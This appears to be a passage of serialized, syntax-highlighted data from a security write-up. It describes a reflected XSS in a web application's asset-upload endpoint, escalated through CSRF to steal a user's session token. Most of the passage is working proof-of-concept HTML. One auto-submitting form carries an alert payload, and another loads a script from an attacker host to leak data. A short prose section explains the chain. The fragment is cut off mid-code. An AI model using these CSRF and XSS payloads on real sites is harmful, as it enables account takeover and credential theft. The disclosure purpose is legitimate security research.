enctype",{"type":22,"tag":118,"props":34437,"children":34438},{"style":210},[34439],{"type":28,"value":282},{"type":22,"tag":118,"props":34441,"children":34442},{"style":1866},[34443],{"type":28,"value":34444},"\"multipart/form-data\"",{"type":22,"tag":118,"props":34446,"children":34447},{"style":204},[34448],{"type":28,"value":34449}," value",{"type":22,"tag":118,"props":34451,"children":34452},{"style":210},[34453],{"type":28,"value":282},{"type":22,"tag":118,"props":34455,"children":34456},{"style":1866},[34457],{"type":28,"value":34458},"\"asd\"",{"type":22,"tag":118,"props":34460,"children":34461},{"style":34314},[34462],{"type":28,"value":8002},{"type":22,"tag":118,"props":34464,"children":34465},{"class":120,"line":244},[34466,34471,34475,34480,34484,34489,34494,34498,34503,34507,34511,34516],{"type":22,"tag":118,"props":34467,"children":34468},{"style":34314},[34469],{"type":28,"value":34470},"     \u003C",{"type":22,"tag":118,"props":34472,"children":34473},{"style":146},[34474],{"type":28,"value":10369},{"type":22,"tag":118,"props":34476,"children":34477},{"style":204},[34478],{"type":28,"value":34479}," type",{"type":22,"tag":118,"props":34481,"children":34482},{"style":210},[34483],{"type":28,"value":282},{"type":22,"tag":118,"props":34485,"children":34486},{"style":1866},[34487],{"type":28,"value":34488},"\"file\"",{"type":22,"tag":118,"props":34490,"children":34491},{"style":204},[34492],{"type":28,"value":34493}," name",{"type":22,"tag":118,"props":34495,"children":34496},{"style":210},[34497],{"type":28,"value":282},{"type":22,"tag":118,"props":34499,"children":34500},{"style":1866},[34501],{"type":28,"value":34502},"\"data\"",{"type":22,"tag":118,"props":34504,"children":34505},{"style":204},[34506],{"type":28,"value":34394},{"type":22,"tag":118,"props":34508,"children":34509},{"style":210},[34510],{"type":28,"value":282},{"type":22,"tag":118,"props":34512,"children":34513},{"style":1866},[34514],{"type":28,"value":34515},"\"file123\"",{"type":22,"tag":118,"props":34517,"children":34518},{"style":34314},[34519],{"type":28,"value":8002},{"type":22,"tag":118,"props":34521,"children":34522},{"class":120,"line":253},[34523,34528,34532,34536,34540,34545,34549,34553,34558,34562,34566,34570,34575,34580,34585,34590,34595,34599,34604,34609,34614,34618,34623,34628,34632,34637,34642,34647,34652,34657,34662,34667,34671,34676,34681,34686,34691,34696,34700,34705,34710,34714],{"type":22,"tag":118,"props":34524,"children":34525},{"style":34314},[34526],{"type":28,"value":34527},"      \u003C",{"type":22,"tag":118,"props":34529,"children":34530},{"style":146},[34531],{"type":28,"value":10369},{"type":22,"tag":118,"props":34533,"children":34534},{"style":204},[34535],{"type":28,"value":34479},{"type":22,"tag":118,"props":34537,"children":34538},{"style":210},[34539],{"type":28,"value":282},{"type":22,"tag":118,"props":34541,"children":34542},{"style":1866},[34543],{"type":28,"value":34544},"\"hidden\"",{"type":22,"tag":118,"props":34546,"children":34547},{"style":204},[34548],{"type":28,"value":34493},{"type":22,"tag":118,"props":34550,"children":34551},{"style":210},[34552],{"type":28,"value":282},{"type":22,"tag":118,"props":34554,"children":34555},{"style":1866},[34556],{"type":28,"value":34557},"\"config\"",{"type":22,"tag":118,"props":34559,"children":34560},{"style":204},[34561],{"type":28,"value":34449},{"type":22,"tag":118,"props":34563,"children":34564},{"style":210},[34565],{"type":28,"value":282},{"type":22,"tag":118,"props":34567,"children":34568},{"style":1866},[34569],{"type":28,"value":22027},{"type":22,"tag":118,"props":34571,"children":34572},{"style":146},[34573],{"type":28,"value":34574},"{"",{"type":22,"tag":118,"props":34576,"children":34577},{"style":1866},[34578],{"type":28,"value":34579},"address",{"type":22,"tag":118,"props":34581,"children":34582},{"style":146},[34583],{"type":28,"value":34584},"":"",{"type":22,"tag":118,"props":34586,"children":34587},{"style":1866},[34588],{"type":28,"value":34589},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":22,"tag":118,"props":34591,"children":34592},{"style":146},[34593],{"type":28,"value":34594},"<",{"type":22,"tag":118,"props":34596,"children":34597},{"style":1866},[34598],{"type":28,"value":5928},{"type":22,"tag":118,"props":34600,"children":34601},{"style":146},[34602],{"type":28,"value":34603},"/",{"type":22,"tag":118,"props":34605,"children":34606},{"style":1866},[34607],{"type":28,"value":34608},"src",{"type":22,"tag":118,"props":34610,"children":34611},{"style":146},[34612],{"type":28,"value":34613},"=",{"type":22,"tag":118,"props":34615,"children":34616},{"style":1866},[34617],{"type":28,"value":21243},{"type":22,"tag":118,"props":34619,"children":34620},{"style":146},[34621],{"type":28,"value":34622}," ",{"type":22,"tag":118,"props":34624,"children":34625},{"style":1866},[34626],{"type":28,"value":34627},"onerror",{"type":22,"tag":118,"props":34629,"children":34630},{"style":146},[34631],{"type":28,"value":34613},{"type":22,"tag":118,"props":34633,"children":34634},{"style":1866},[34635],{"type":28,"value":34636},"alert",{"type":22,"tag":118,"props":34638,"children":34639},{"style":146},[34640],{"type":28,"value":34641},"(",{"type":22,"tag":118,"props":34643,"children":34644},{"style":1866},[34645],{"type":28,"value":34646},"document",{"type":22,"tag":118,"props":34648,"children":34649},{"style":146},[34650],{"type":28,"value":34651},".",{"type":22,"tag":118,"props":34653,"children":34654},{"style":1866},[34655],{"type":28,"value":34656},"domain",{"type":22,"tag":118,"props":34658,"children":34659},{"style":146},[34660],{"type":28,"value":34661},")>","",{"type":22,"tag":118,"props":34663,"children":34664},{"style":1866},[34665],{"type":28,"value":34666},"to",{"type":22,"tag":118,"props":34668,"children":34669},{"style":146},[34670],{"type":28,"value":34584},{"type":22,"tag":118,"props":34672,"children":34673},{"style":1866},[34674],{"type":28,"value":34675},"profile",{"type":22,"tag":118,"props":34677,"children":34678},{"style":146},[34679],{"type":28,"value":34680},"-",{"type":22,"tag":118,"props":34682,"children":34683},{"style":1866},[34684],{"type":28,"value":34685},"assets",{"type":22,"tag":118,"props":34687,"children":34688},{"style":146},[34689],{"type":28,"value":34690},"","",{"type":22,"tag":118,"props":34692,"children":34693},{"style":1866},[34694],{"type":28,"value":34695},"type",{"type":22,"tag":118,"props":34697,"children":34698},{"style":146},[34699],{"type":28,"value":34584},{"type":22,"tag":118,"props":34701,"children":34702},{"style":1866},[34703],{"type":28,"value":34704},"icon",{"type":22,"tag":118,"props":34706,"children":34707},{"style":146},[34708],{"type":28,"value":34709},""}",{"type":22,"tag":118,"props":34711,"children":34712},{"style":1866},[34713],{"type":28,"value":22027},{"type":22,"tag":118,"props":34715,"children":34716},{"style":34314},[34717],{"type":28,"value":34718}," />\n",{"type":22,"tag":118,"props":34720,"children":34721},{"class":120,"line":263},[34722,34726,34730,34734,34738,34743,34747,34751,34756],{"type":22,"tag":118,"props":34723,"children":34724},{"style":34314},[34725],{"type":28,"value":34527},{"type":22,"tag":118,"props":34727,"children":34728},{"style":146},[34729],{"type":28,"value":10369},{"type":22,"tag":118,"props":34731,"children":34732},{"style":204},[34733],{"type":28,"value":34479},{"type":22,"tag":118,"props":34735,"children":34736},{"style":210},[34737],{"type":28,"value":282},{"type":22,"tag":118,"props":34739,"children":34740},{"style":1866},[34741],{"type":28,"value":34742},"\"submit\"",{"type":22,"tag":118,"props":34744,"children":34745},{"style":204},[34746],{"type":28,"value":34449},{"type":22,"tag":118,"props":34748,"children":34749},{"style":210},[34750],{"type":28,"value":282},{"type":22,"tag":118,"props":34752,"children":34753},{"style":1866},[34754],{"type":28,"value":34755},"\"Submit request\"",{"type":22,"tag":118,"props":34757,"children":34758},{"style":34314},[34759],{"type":28,"value":34718},{"type":22,"tag":118,"props":34761,"children":34762},{"class":120,"line":318},[34763,34768,34772],{"type":22,"tag":118,"props":34764,"children":34765},{"style":34314},[34766],{"type":28,"value":34767},"    \u003C/",{"type":22,"tag":118,"props":34769,"children":34770},{"style":146},[34771],{"type":28,"value":34389},{"type":22,"tag":118,"props":34773,"children":34774},{"style":34314},[34775],{"type":28,"value":8002},{"type":22,"tag":118,"props":34777,"children":34778},{"class":120,"line":351},[34779,34784,34788],{"type":22,"tag":118,"props":34780,"children":34781},{"style":34314},[34782],{"type":28,"value":34783},"  \u003C/",{"type":22,"tag":118,"props":34785,"children":34786},{"style":146},[34787],{"type":28,"value":34338},{"type":22,"tag":118,"props":34789,"children":34790},{"style":34314},[34791],{"type":28,"value":8002},{"type":22,"tag":118,"props":34793,"children":34794},{"class":120,"line":359},[34795],{"type":22,"tag":118,"props":34796,"children":34797},{"emptyLinePlaceholder":15},[34798],{"type":28,"value":250},{"type":22,"tag":118,"props":34800,"children":34801},{"class":120,"line":368},[34802,34806,34810],{"type":22,"tag":118,"props":34803,"children":34804},{"style":34314},[34805],{"type":28,"value":34333},{"type":22,"tag":118,"props":34807,"children":34808},{"style":146},[34809],{"type":28,"value":34354},{"type":22,"tag":118,"props":34811,"children":34812},{"style":34314},[34813],{"type":28,"value":8002},{"type":22,"tag":118,"props":34815,"children":34816},{"class":120,"line":384},[34817],{"type":22,"tag":118,"props":34818,"children":34819},{"emptyLinePlaceholder":15},[34820],{"type":28,"value":250},{"type":22,"tag":118,"props":34822,"children":34823},{"class":120,"line":417},[34824,34829],{"type":22,"tag":118,"props":34825,"children":34826},{"style":125},[34827],{"type":28,"value":34828},"    (async ()=>",{"type":22,"tag":118,"props":34830,"children":34831},{"style":146},[34832],{"type":28,"value":12879},{"type":22,"tag":118,"props":34834,"children":34835},{"class":120,"line":425},[34836,34841,34846,34851,34856,34860,34864,34869,34873,34878,34883,34888],{"type":22,"tag":118,"props":34837,"children":34838},{"style":204},[34839],{"type":28,"value":34840},"        const",{"type":22,"tag":118,"props":34842,"children":34843},{"style":204},[34844],{"type":28,"value":34845}," blob",{"type":22,"tag":118,"props":34847,"children":34848},{"style":210},[34849],{"type":28,"value":34850}," = ",{"type":22,"tag":118,"props":34852,"children":34853},{"style":1480},[34854],{"type":28,"value":34855},"await",{"type":22,"tag":118,"props":34857,"children":34858},{"style":210},[34859],{"type":28,"value":842},{"type":22,"tag":118,"props":34861,"children":34862},{"style":1480},[34863],{"type":28,"value":34855},{"type":22,"tag":118,"props":34865,"children":34866},{"style":532},[34867],{"type":28,"value":34868}," fetch",{"type":22,"tag":118,"props":34870,"children":34871},{"style":210},[34872],{"type":28,"value":540},{"type":22,"tag":118,"props":34874,"children":34875},{"style":1866},[34876],{"type":28,"value":34877},"\"/sapo.png\"",{"type":22,"tag":118,"props":34879,"children":34880},{"style":210},[34881],{"type":28,"value":34882},")).",{"type":22,"tag":118,"props":34884,"children":34885},{"style":532},[34886],{"type":28,"value":34887},"blob",{"type":22,"tag":118,"props":34889,"children":34890},{"style":210},[34891],{"type":28,"value":2708},{"type":22,"tag":118,"props":34893,"children":34894},{"class":120,"line":441},[34895],{"type":22,"tag":118,"props":34896,"children":34897},{"emptyLinePlaceholder":15},[34898],{"type":28,"value":250},{"type":22,"tag":118,"props":34900,"children":34901},{"class":120,"line":475},[34902,34906,34911,34915,34919,34924,34929,34933,34937,34942,34947,34952,34957],{"type":22,"tag":118,"props":34903,"children":34904},{"style":204},[34905],{"type":28,"value":827},{"type":22,"tag":118,"props":34907,"children":34908},{"style":204},[34909],{"type":28,"value":34910}," f",{"type":22,"tag":118,"props":34912,"children":34913},{"style":210},[34914],{"type":28,"value":34850},{"type":22,"tag":118,"props":34916,"children":34917},{"style":146},[34918],{"type":28,"value":4256},{"type":22,"tag":118,"props":34920,"children":34921},{"style":532},[34922],{"type":28,"value":34923}," File",{"type":22,"tag":118,"props":34925,"children":34926},{"style":210},[34927],{"type":28,"value":34928},"([",{"type":22,"tag":118,"props":34930,"children":34931},{"style":204},[34932],{"type":28,"value":34887},{"type":22,"tag":118,"props":34934,"children":34935},{"style":210},[34936],{"type":28,"value":25011},{"type":22,"tag":118,"props":34938,"children":34939},{"style":1866},[34940],{"type":28,"value":34941},"'sapo.png'",{"type":22,"tag":118,"props":34943,"children":34944},{"style":210},[34945],{"type":28,"value":34946},", {",{"type":22,"tag":118,"props":34948,"children":34949},{"style":204},[34950],{"type":28,"value":34951},"type:",{"type":22,"tag":118,"props":34953,"children":34954},{"style":1866},[34955],{"type":28,"value":34956}," 'image/png'",{"type":22,"tag":118,"props":34958,"children":34959},{"style":210},[34960],{"type":28,"value":34961},"})\n",{"type":22,"tag":118,"props":34963,"children":34964},{"class":120,"line":484},[34965,34969,34974,34978,34982,34987],{"type":22,"tag":118,"props":34966,"children":34967},{"style":204},[34968],{"type":28,"value":34840},{"type":22,"tag":118,"props":34970,"children":34971},{"style":204},[34972],{"type":28,"value":34973}," dataTransfer",{"type":22,"tag":118,"props":34975,"children":34976},{"style":210},[34977],{"type":28,"value":34850},{"type":22,"tag":118,"props":34979,"children":34980},{"style":146},[34981],{"type":28,"value":4256},{"type":22,"tag":118,"props":34983,"children":34984},{"style":532},[34985],{"type":28,"value":34986}," DataTransfer",{"type":22,"tag":118,"props":34988,"children":34989},{"style":210},[34990],{"type":28,"value":1098},{"type":22,"tag":118,"props":34992,"children":34993},{"class":120,"line":492},[34994,34999,35003,35008,35012,35016,35020,35025],{"type":22,"tag":118,"props":34995,"children":34996},{"style":204},[34997],{"type":28,"value":34998},"        dataTransfer",{"type":22,"tag":118,"props":35000,"children":35001},{"style":210},[35002],{"type":28,"value":292},{"type":22,"tag":118,"props":35004,"children":35005},{"style":204},[35006],{"type":28,"value":35007},"items",{"type":22,"tag":118,"props":35009,"children":35010},{"style":210},[35011],{"type":28,"value":292},{"type":22,"tag":118,"props":35013,"children":35014},{"style":532},[35015],{"type":28,"value":11636},{"type":22,"tag":118,"props":35017,"children":35018},{"style":210},[35019],{"type":28,"value":540},{"type":22,"tag":118,"props":35021,"children":35022},{"style":204},[35023],{"type":28,"value":35024},"f",{"type":22,"tag":118,"props":35026,"children":35027},{"style":210},[35028],{"type":28,"value":682},{"type":22,"tag":118,"props":35030,"children":35031},{"class":120,"line":501},[35032],{"type":22,"tag":118,"props":35033,"children":35034},{"emptyLinePlaceholder":15},[35035],{"type":28,"value":250},{"type":22,"tag":118,"props":35037,"children":35038},{"class":120,"line":519},[35039,35044,35048,35053,35057,35062,35066,35070],{"type":22,"tag":118,"props":35040,"children":35041},{"style":204},[35042],{"type":28,"value":35043},"        file123",{"type":22,"tag":118,"props":35045,"children":35046},{"style":210},[35047],{"type":28,"value":292},{"type":22,"tag":118,"props":35049,"children":35050},{"style":204},[35051],{"type":28,"value":35052},"files",{"type":22,"tag":118,"props":35054,"children":35055},{"style":210},[35056],{"type":28,"value":34850},{"type":22,"tag":118,"props":35058,"children":35059},{"style":204},[35060],{"type":28,"value":35061},"dataTransfer",{"type":22,"tag":118,"props":35063,"children":35064},{"style":210},[35065],{"type":28,"value":292},{"type":22,"tag":118,"props":35067,"children":35068},{"style":204},[35069],{"type":28,"value":35052},{"type":22,"tag":118,"props":35071,"children":35072},{"style":210},[35073],{"type":28,"value":801},{"type":22,"tag":118,"props":35075,"children":35076},{"class":120,"line":606},[35077,35082],{"type":22,"tag":118,"props":35078,"children":35079},{"style":146},[35080],{"type":28,"value":35081},"    }",{"type":22,"tag":118,"props":35083,"children":35084},{"style":125},[35085],{"type":28,"value":35086},")()\n",{"type":22,"tag":118,"props":35088,"children":35089},{"class":120,"line":615},[35090],{"type":22,"tag":118,"props":35091,"children":35092},{"emptyLinePlaceholder":15},[35093],{"type":28,"value":250},{"type":22,"tag":118,"props":35095,"children":35096},{"class":120,"line":685},[35097,35101,35105],{"type":22,"tag":118,"props":35098,"children":35099},{"style":34314},[35100],{"type":28,"value":34783},{"type":22,"tag":118,"props":35102,"children":35103},{"style":146},[35104],{"type":28,"value":34354},{"type":22,"tag":118,"props":35106,"children":35107},{"style":34314},[35108],{"type":28,"value":8002},{"type":22,"tag":118,"props":35110,"children":35111},{"class":120,"line":699},[35112,35116,35120],{"type":22,"tag":118,"props":35113,"children":35114},{"style":34314},[35115],{"type":28,"value":34368},{"type":22,"tag":118,"props":35117,"children":35118},{"style":146},[35119],{"type":28,"value":34321},{"type":22,"tag":118,"props":35121,"children":35122},{"style":34314},[35123],{"type":28,"value":8002},{"type":22,"tag":31,"props":35125,"children":35126},{},[35127],{"type":28,"value":35128},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":22,"tag":31,"props":35130,"children":35131},{},[35132],{"type":28,"value":35133},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":22,"tag":31,"props":35135,"children":35136},{},[35137],{"type":28,"value":35138},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":22,"tag":31,"props":35140,"children":35141},{},[35142],{"type":28,"value":35143},"From here, we were able to steal the session cookie from local storage.",{"type":22,"tag":107,"props":35145,"children":35147},{"className":33302,"code":35146,"language":33304,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[35148],{"type":22,"tag":114,"props":35149,"children":35150},{"__ignoreMap":7},[35151,35166,35181,35212,35287,35338,35526,35565,35580,35595,35602,35617,35624,35635,35686,35693,35748,35775,35810,35817,35852,35859,35880,35891,35898,35913],{"type":22,"tag":118,"props":35152,"children":35153},{"class":120,"line":121},[35154,35158,35162],{"type":22,"tag":118,"props":35155,"children":35156},{"style":34314},[35157],{"type":28,"value":559},{"type":22,"tag":118,"props":35159,"children":35160},{"style":146},[35161],{"type":28,"value":34321},{"type":22,"tag":118,"props":35163,"children":35164},{"style":34314},[35165],{"type":28,"value":8002},{"type":22,"tag":118,"props":35167,"children":35168},{"class":120,"line":142},[35169,35173,35177],{"type":22,"tag":118,"props":35170,"children":35171},{"style":34314},[35172],{"type":28,"value":34333},{"type":22,"tag":118,"props":35174,"children":35175},{"style":146},[35176],{"type":28,"value":34338},{"type":22,"tag":118,"props":35178,"children":35179},{"style":34314},[35180],{"type":28,"value":8002},{"type":22,"tag":118,"props":35182,"children":35183},{"class":120,"line":177},[35184,35188,35192,35196,35200,35204,35208],{"type":22,"tag":118,"props":35185,"children":35186},{"style":34314},[35187],{"type":28,"value":34333},{"type":22,"tag":118,"props":35189,"children":35190},{"style":146},[35191],{"type":28,"value":34354},{"type":22,"tag":118,"props":35193,"children":35194},{"style":34314},[35195],{"type":28,"value":12460},{"type":22,"tag":118,"props":35197,"children":35198},{"style":125},[35199],{"type":28,"value":34363},{"type":22,"tag":118,"props":35201,"children":35202},{"style":34314},[35203],{"type":28,"value":34368},{"type":22,"tag":118,"props":35205,"children":35206},{"style":146},[35207],{"type":28,"value":34354},{"type":22,"tag":118,"props":35209,"children":35210},{"style":34314},[35211],{"type":28,"value":8002},{"type":22,"tag":118,"props":35213,"children":35214},{"class":120,"line":195},[35215,35219,35223,35227,35231,35235,35239,35243,35247,35251,35255,35259,35263,35267,35271,35275,35279,35283],{"type":22,"tag":118,"props":35216,"children":35217},{"style":34314},[35218],{"type":28,"value":34384},{"type":22,"tag":118,"props":35220,"children":35221},{"style":146},[35222],{"type":28,"value":34389},{"type":22,"tag":118,"props":35224,"children":35225},{"style":204},[35226],{"type":28,"value":34394},{"type":22,"tag":118,"props":35228,"children":35229},{"style":210},[35230],{"type":28,"value":282},{"type":22,"tag":118,"props":35232,"children":35233},{"style":1866},[35234],{"type":28,"value":34403},{"type":22,"tag":118,"props":35236,"children":35237},{"style":204},[35238],{"type":28,"value":34408},{"type":22,"tag":118,"props":35240,"children":35241},{"style":210},[35242],{"type":28,"value":282},{"type":22,"tag":118,"props":35244,"children":35245},{"style":1866},[35246],{"type":28,"value":34417},{"type":22,"tag":118,"props":35248,"children":35249},{"style":204},[35250],{"type":28,"value":19075},{"type":22,"tag":118,"props":35252,"children":35253},{"style":210},[35254],{"type":28,"value":282},{"type":22,"tag":118,"props":35256,"children":35257},{"style":1866},[35258],{"type":28,"value":34430},{"type":22,"tag":118,"props":35260,"children":35261},{"style":204},[35262],{"type":28,"value":34435},{"type":22,"tag":118,"props":35264,"children":35265},{"style":210},[35266],{"type":28,"value":282},{"type":22,"tag":118,"props":35268,"children":35269},{"style":1866},[35270],{"type":28,"value":34444},{"type":22,"tag":118,"props":35272,"children":35273},{"style":204},[35274],{"type":28,"value":34449},{"type":22,"tag":118,"props":35276,"children":35277},{"style":210},[35278],{"type":28,"value":282},{"type":22,"tag":118,"props":35280,"children":35281},{"style":1866},[35282],{"type":28,"value":34458},{"type":22,"tag":118,"props":35284,"children":35285},{"style":34314},[35286],{"type":28,"value":8002},{"type":22,"tag":118,"props":35288,"children":35289},{"class":120,"line":244},[35290,35294,35298,35302,35306,35310,35314,35318,35322,35326,35330,35334],{"type":22,"tag":118,"props":35291,"children":35292},{"style":34314},[35293],{"type":28,"value":34470},{"type":22,"tag":118,"props":35295,"children":35296},{"style":146},[35297],{"type":28,"value":10369},{"type":22,"tag":118,"props":35299,"children":35300},{"style":204},[35301],{"type":28,"value":34479},{"type":22,"tag":118,"props":35303,"children":35304},{"style":210},[35305],{"type":28,"value":282},{"type":22,"tag":118,"props":35307,"children":35308},{"style":1866},[35309],{"type":28,"value":34488},{"type":22,"tag":118,"props":35311,"children":35312},{"style":204},[35313],{"type":28,"value":34493},{"type":22,"tag":118,"props":35315,"children":35316},{"style":210},[35317],{"type":28,"value":282},{"type":22,"tag":118,"props":35319,"children":35320},{"style":1866},[35321],{"type":28,"value":34502},{"type":22,"tag":118,"props":35323,"children":35324},{"style":204},[35325],{"type":28,"value":34394},{"type":22,"tag":118,"props":35327,"children":35328},{"style":210},[35329],{"type":28,"value":282},{"type":22,"tag":118,"props":35331,"children":35332},{"style":1866},[35333],{"type":28,"value":34515},{"type":22,"tag":118,"props":35335,"children":35336},{"style":34314},[35337],{"type":28,"value":8002},{"type":22,"tag":118,"props":35339,"children":35340},{"class":120,"line":253},[35341,35345,35349,35353,35357,35361,35365,35369,35373,35377,35381,35385,35390,35394,35399,35403,35408,35412,35417,35422,35426,35430,35435,35440,35445,35450,35455,35460,35464,35469,35473,35477,35482,35486,35491,35496,35501,35505,35509,35513,35518,35522],{"type":22,"tag":118,"props":35342,"children":35343},{"style":34314},[35344],{"type":28,"value":34527},{"type":22,"tag":118,"props":35346,"children":35347},{"style":146},[35348],{"type":28,"value":10369},{"type":22,"tag":118,"props":35350,"children":35351},{"style":204},[35352],{"type":28,"value":34479},{"type":22,"tag":118,"props":35354,"children":35355},{"style":210},[35356],{"type":28,"value":282},{"type":22,"tag":118,"props":35358,"children":35359},{"style":1866},[35360],{"type":28,"value":34544},{"type":22,"tag":118,"props":35362,"children":35363},{"style":204},[35364],{"type":28,"value":34493},{"type":22,"tag":118,"props":35366,"children":35367},{"style":210},[35368],{"type":28,"value":282},{"type":22,"tag":118,"props":35370,"children":35371},{"style":1866},[35372],{"type":28,"value":34557},{"type":22,"tag":118,"props":35374,"children":35375},{"style":204},[35376],{"type":28,"value":34449},{"type":22,"tag":118,"props":35378,"children":35379},{"style":210},[35380],{"type":28,"value":282},{"type":22,"tag":118,"props":35382,"children":35383},{"style":1866},[35384],{"type":28,"value":22027},{"type":22,"tag":118,"props":35386,"children":35387},{"style":146},[35388],{"type":28,"value":35389},"{"",{"type":22,"tag":118,"props":35391,"children":35392},{"style":1866},[35393],{"type":28,"value":34579},{"type":22,"tag":118,"props":35395,"children":35396},{"style":146},[35397],{"type":28,"value":35398},"":"<",{"type":22,"tag":118,"props":35400,"children":35401},{"style":1866},[35402],{"type":28,"value":5928},{"type":22,"tag":118,"props":35404,"children":35405},{"style":146},[35406],{"type":28,"value":35407},"/",{"type":22,"tag":118,"props":35409,"children":35410},{"style":1866},[35411],{"type":28,"value":34608},{"type":22,"tag":118,"props":35413,"children":35414},{"style":146},[35415],{"type":28,"value":35416},"=",{"type":22,"tag":118,"props":35418,"children":35419},{"style":1866},[35420],{"type":28,"value":35421},"x onerror",{"type":22,"tag":118,"props":35423,"children":35424},{"style":146},[35425],{"type":28,"value":35416},{"type":22,"tag":118,"props":35427,"children":35428},{"style":1866},[35429],{"type":28,"value":21451},{"type":22,"tag":118,"props":35431,"children":35432},{"style":146},[35433],{"type":28,"value":35434},"(`",{"type":22,"tag":118,"props":35436,"children":35437},{"style":1866},[35438],{"type":28,"value":35439},"https",{"type":22,"tag":118,"props":35441,"children":35442},{"style":146},[35443],{"type":28,"value":35444},"://",{"type":22,"tag":118,"props":35446,"children":35447},{"style":1866},[35448],{"type":28,"value":35449},"attacker-server",{"type":22,"tag":118,"props":35451,"children":35452},{"style":146},[35453],{"type":28,"value":35454},".",{"type":22,"tag":118,"props":35456,"children":35457},{"style":1866},[35458],{"type":28,"value":35459},"com",{"type":22,"tag":118,"props":35461,"children":35462},{"style":146},[35463],{"type":28,"value":35407},{"type":22,"tag":118,"props":35465,"children":35466},{"style":1866},[35467],{"type":28,"value":35468},"leak",{"type":22,"tag":118,"props":35470,"children":35471},{"style":146},[35472],{"type":28,"value":35454},{"type":22,"tag":118,"props":35474,"children":35475},{"style":1866},[35476],{"type":28,"value":33304},{"type":22,"tag":118,"props":35478,"children":35479},{"style":146},[35480],{"type":28,"value":35481},"`)>","",{"type":22,"tag":118,"props":35483,"children":35484},{"style":1866},[35485],{"type":28,"value":34666},{"type":22,"tag":118,"props":35487,"children":35488},{"style":146},[35489],{"type":28,"value":35490},"":"",{"type":22,"tag":118,"props":35492,"children":35493},{"style":1866},[35494],{"type":28,"value":35495},"profile-assets",{"type":22,"tag":118,"props":35497,"children":35498},{"style":146},[35499],{"type":28,"value":35500},"","",{"type":22,"tag":118,"props":35502,"children":35503},{"style":1866},[35504],{"type":28,"value":34695},{"type":22,"tag":118,"props":35506,"children":35507},{"style":146},[35508],{"type":28,"value":35490},{"type":22,"tag":118,"props":35510,"children":35511},{"style":1866},[35512],{"type":28,"value":34704},{"type":22,"tag":118,"props":35514,"children":35515},{"style":146},[35516],{"type":28,"value":35517},""}",{"type":22,"tag":118,"props":35519,"children":35520},{"style":1866},[35521],{"type":28,"value":22027},{"type":22,"tag":118,"props":35523,"children":35524},{"style":34314},[35525],{"type":28,"value":34718},{"type":22,"tag":118,"props":35527,"children":35528},{"class":120,"line":263},[35529,35533,35537,35541,35545,35549,35553,35557,35561],{"type":22,"tag":118,"props":35530,"children":35531},{"style":34314},[35532],{"type":28,"value":34527},{"type":22,"tag":118,"props":35534,"children":35535},{"style":146},[35536],{"type":28,"value":10369},{"type":22,"tag":118,"props":35538,"children":35539},{"style":204},[35540],{"type":28,"value":34479},{"type":22,"tag":118,"props":35542,"children":35543},{"style":210},[35544],{"type":28,"value":282},{"type":22,"tag":118,"props":35546,"children":35547},{"style":1866},[35548],{"type":28,"value":34742},{"type":22,"tag":118,"props":35550,"children":35551},{"style":204},[35552],{"type":28,"value":34449},{"type":22,"tag":118,"props":35554,"children":35555},{"style":210},[35556],{"type":28,"value":282},{"type":22,"tag":118,"props":35558,"children":35559},{"style":1866},[35560],{"type":28,"value":34755},{"type":22,"tag":118,"props":35562,"children":35563},{"style":34314},[35564],{"type":28,"value":34718},{"type":22,"tag":118,"props":35566,"children":35567},{"class":120,"line":318},[35568,35572,35576],{"type":22,"tag":118,"props":35569,"children":35570},{"style":34314},[35571],{"type":28,"value":34767},{"type":22,"tag":118,"props":35573,"children":35574},{"style":146},[35575],{"type":28,"value":34389},{"type":22,"tag":118,"props":35577,"children":35578},{"style":34314},[35579],{"type":28,"value":8002},{"type":22,"tag":118,"props":35581,"children":35582},{"class":120,"line":351},[35583,35587,35591],{"type":22,"tag":118,"props":35584,"children":35585},{"style":34314},[35586],{"type":28,"value":34783},{"type":22,"tag":118,"props":35588,"children":35589},{"style":146},[35590],{"type":28,"value":34338},{"type":22,"tag":118,"props":35592,"children":35593},{"style":34314},[35594],{"type":28,"value":8002},{"type":22,"tag":118,"props":35596,"children":35597},{"class":120,"line":359},[35598],{"type":22,"tag":118,"props":35599,"children":35600},{"emptyLinePlaceholder":15},[35601],{"type":28,"value":250},{"type":22,"tag":118,"props":35603,"children":35604},{"class":120,"line":368},[35605,35609,35613],{"type":22,"tag":118,"props":35606,"children":35607},{"style":34314},[35608],{"type":28,"value":34333},{"type":22,"tag":118,"props":35610,"children":35611},{"style":146},[35612],{"type":28,"value":34354},{"type":22,"tag":118,"props":35614,"children":35615},{"style":34314},[35616],{"type":28,"value":8002},{"type":22,"tag":118,"props":35618,"children":35619},{"class":120,"line":384},[35620],{"type":22,"tag":118,"props":35621,"children":35622},{"emptyLinePlaceholder":15},[35623],{"type":28,"value":250},{"type":22,"tag":118,"props":35625,"children":35626},{"class":120,"line":417},[35627,35631],{"type":22,"tag":118,"props":35628,"children":35629},{"style":125},[35630],{"type":28,"value":34828},{"type":22,"tag":118,"props":35632,"children":35633},{"style":146},[35634],{"type":28,"value":12879},{"type":22,"tag":118,"props":35636,"children":35637},{"class":120,"line":425},[35638,35642,35646,35650,35654,35658,35662,35666,35670,35674,35678,35682],{"type":22,"tag":118,"props":35639,"children":35640},{"style":204},[35641],{"type":28,"value":34840},{"type":22,"tag":118,"props":35643,"children":35644},{"style":204},[35645],{"type":28,"value":34845},{"typ